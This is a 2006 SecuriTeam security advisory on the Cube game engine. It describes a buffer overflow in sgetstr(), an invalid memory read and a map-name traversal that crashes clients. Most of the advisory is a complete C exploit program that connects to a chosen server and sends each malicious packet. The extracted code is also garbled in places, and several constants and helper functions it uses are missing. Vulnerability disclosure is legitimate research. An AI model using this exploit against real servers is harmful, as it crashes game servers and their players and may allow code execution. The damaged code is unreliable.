

[NEWS] Cube Engine Multiple Vulnerabilities (Exploit)

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2006-03/msg00011.html>

- *From:* SecuriTeam <support@xxxxxxxxxxxxxxxx>
 - *Date:* 7 Mar 2006 18:56:16 +0200
-

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>
-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.
<http://www.securiteam.com/maillinglist.html>

Cube Engine Multiple Vulnerabilities (Exploit)

SUMMARY

<<http://strlen.com>> Cube is "an interesting open source game and engine developed by Wouter van Oortmerssen. It supports both LAN and Internet multiplayer through its master server". Multiple vulnerabilities have been discovered in the Cube Engine product.

DETAILS

Vulnerable Systems:

* Cube Engine version 2005_08_29

sgetstr() buffer-overflow

The game uses an unchecked function for reading the strings from the incoming data. The function is sgetstr() located in cube.h:

```
#define sgetstr() { char *t = text; do { *t = getint(p); } while(*t++);  
}
```

The problem, which affects both server and clients, is that this code copies the input data over the text buffer of size MAXTRANS (5000 bytes)

[NEWS] Cube Engine Multiple Vulnerabilities (Exploit)

allowing possible malicious code execution.

B) Invalid Memory Access

sgetstr(), getint() and the instructions which call them don't check the correct length of the input data. In short is possible to force the server or the client to read over the received data reaching unallocated zones of the memory and so crashing immediately. The biggest example in the Cube engine is the SV_EXT tag used in the server where is read a 32 bits number from the input data and then is performed a reading loop:
for(int n = getint(p); n; n--) getint(p);

C) Clients Crash through Invalid Map

In the Cube engine the players have the possibility to choose a specific map on which they wish to play, if there is only one player in the server the map is it changed immediately otherwise it will be voted upon. When a client tries to load an invalid map file it will exit immediately showing an error: "while reading map: header malformed".

When the map is selected all the clients add a .ogz extension to the mapname received from the server and load the file. The max size of the mapname is 260 bytes and the function which loads the file uses a secure sprintf() which truncates the input mapname (.ogz included) when the limit is reached. Then the loading of the map is not sanitized versus possible directory traversal exploitations so if an attacker (a player) specifies a mapname of about 260 bytes he can force any client which will join the server (due to the voting problem explained previously which limits the exploitation of this bug) to load any file which is not a valid map and so they will exit immediately.

As already said the exploitation happens with any new client which joins the server since the new mapname will remain active in the server for all the current match.

Exploit:

```
/*
```

by Luigi Auriemma

You NEED Enet for compiling this tool (then remember -lenet)

<http://enet.bespin.org> / <http://enet.cubik.org>

```
*/
```

```
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <enet/enet.h>
```

```
#define VER "0.1"
```


[NEWS] Cube Engine Multiple Vulnerabilities (Exploit)

```
enet_uint32 myinetaddr(u_char *ip);  
void cubeenc(u_char *data, int size);  
char *myineta(u_int ip);
```

```
int main(int argc, char *argv[]) {  
    ENetAddress address;  
    ENetEvent event;  
    ENetPeer *peer;  
    ENetHost *client;  
    ENetPacket *packet;  
    int enc = 0,  
        len,  
        attack;  
    u_short port = PORT;  
    u_char buff[8192],  
        mybof[BOFSZ],  
        *p;
```

```
    setbuf(stdout, NULL);
```

```
    fputs("\n"  
        "Cube <= 2005_08_29 multiple vulnerabilities "VER"\n"  
        "by Luigi Auriemma\n"  
        "e-mail: alugi@xxxxxxxxxxxxxx\n"  
        "web: http://alugi.altervista.org\n"  
        "\n", stdout);
```

```
    if(argc < 3) {  
        printf("\n"  
            "Usage: %s <attack> <host> [port(%hu)]\n"  
            "\n"  
            "Attack:\n"  
            "1 = sgetstr() buffer-overflow\n"  
            "2 = invalid memory access during data reading (getint and  
            "sgetstr)\n"  
            "3 = crash of any client which will join the server through  
            "malformed map\n"  
            " loaded with directory traversal vulnerability and 260  
            "bytes limit\n"  
            "\n",  
            argv[0], port);  
        exit(1);  
    }
```

```
    attack = atoi(argv[1]);
```

```
    if(enet_initialize()) {  
        printf("\nError: an error occurred while initializing ENet\n");
```

[NEWS] Cube Engine Multiple Vulnerabilities (Exploit)

```
exit(1);
↓

client = enet_host_create(
NULL /* create a client host */.
1 /* only allow 1 outgoing connection */.
57600 / 8 /* 56K modem with 56 Kbps downstream bandwidth */.
14400 / 8 /* 56K modem with 14 Kbps upstream bandwidth */);

if(!client) {
printf("An error occurred while trying to create an ENet client
host.\n");
exit(1);
}

if(argc > 3) port = atoi(argv[3]);
if(enet_address_set_host(&address, argv[2]) < 0) {
address.host = myinetaddr(argv[2]);
}
address.port = port;

printf("- target %s : %hu\n",
myineta(address.host),
address.port);

peer = enet_host_connect(client, &address, 2);
if(!peer) {
printf("\nError: no peers available for initiating an ENet
connection\n");
exit(1);
}

printf("- connect...");
if((enet_host_service(client, &event, 5000) > 0) && (event.type ==
ENET_EVENT_TYPE_CONNECT)) {
printf("ok\n");
} else {
printf("failed!\n");
goto quit;
}

if((enet_host_service(client, &event, 3000) > 0) && (event.type ==
ENET_EVENT_TYPE_RECEIVE)) {
if(event.packet->data[2] > SV_EXT) enc = 1;
enet_packet_destroy(event.packet);
↓

p = buff + 2;

if(attack == 1) {
printf("- send buffer-overflow data (%d bytes)\n", BOFSZ);
```

[NEWS] Cube Engine Multiple Vulnerabilities (Exploit)

```
putint(p, enc ? 9 : SV_TEXT, &p);
memset(mybof, 'A', sizeof(mybof) - 1);
mybof[sizeof(mybof) - 1] = 0;
sendstring(mybof, p, &p);

} else if(attack == 2) {
printf("- send incomplete data (the server will do a reading loop
in SV_EXT)\n");
putint(p, enc ? 31 : SV_EXT, &p);
putint(p, -1, &p);
// for(int n = getint(p); n; n--) getint(p);

} else if(attack == 3) {
printf("- send bad map\n");
putint(p, enc ? 9 : SV_MAPCHANGE, &p);
sendstring(MAPSUX, p, &p);
putint(p, 0, &p);
}

len = p - buff;
*(u_short *)buff = htons(len);

if(enc) {
printf("- Cube xor encoding activated\n");
cubeenc(buff + 2, len - 2);
}

packet = enet_packet_create(
buff,
len,
ENET_PACKET_FLAG_RELIABLE);

enet_peer_send(peer, 0, packet);
enet_host_flush(client);
if((enet_host_service(client, &event, 3000) > 0) &&(event.type ==
ENET_EVENT_TYPE_RECEIVE)) {
enet_packet_destroy(event.packet);
}

enet_peer_disconnect(peer);

if(attack == 3) {
printf(
"- if the server was empty the map has been accepted\n"
" any client which will join the server will exit
immediately\n");
goto quit;
}

printf("- check server:\n");
if(enet_host_service(client, &event, 5000) > 0) {
```

[NEWS] Cube Engine Multiple Vulnerabilities (Exploit)

```
printf("\n Server does not seem vulnerable\n\n");  
} else {  
printf("\n Server IS vulnerable!!!\n\n");  
}
```

```
enet_peer_disconnect(peer);
```

```
quit:  
enet_peer_reset(peer);  
enet_deinitialize();  
return(0);  
}
```

```
void cubeenc(u_char *data, int size) {  
u_char *end;
```

```
for(end = data + size; data != end; data++) {  
*data ^= 'a';  
}  
}
```

```
enet_uint32 myinetaddr(u_char *ip) {  
unsigned ip1,  
ip2,  
ip3,  
ip4;
```

```
sscanf(ip, "%d.%d.%d.%d", &ip1, &ip2, &ip3, &ip4);  
return(ENET_HOST_TO_NET_32((ip1 << 24) | (ip2 << 16) | (ip3 << 8) |  
ip4));  
}
```

```
char *myineta(u_int ip) {  
static char ipc[16];
```

```
ip = ntohl(ip);  
sprintf(  
ipc,  
"%hhu.%hhu.%hhu.%hhu",  
(ip >> 24) & 0xff,  
(ip >> 16) & 0xff,  
(ip >> 8) & 0xff,  
(ip & 0xff));  
return(ipc);  
}
```

ADDITIONAL INFORMATION

The information has been provided by <mailto:alugi@xxxxxxxxxxxx> Luigi Auriemma.

The original article can be found at:
<http://alugi.altervista.org/adv/evilcube-adv.txt>
http://alugi.altervista.org/adv/evilcube-adv.txt

=====

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to:
list-unsubscribe@xxxxxxxxxxxxxx
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@xxxxxxxxxxxxxx

=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.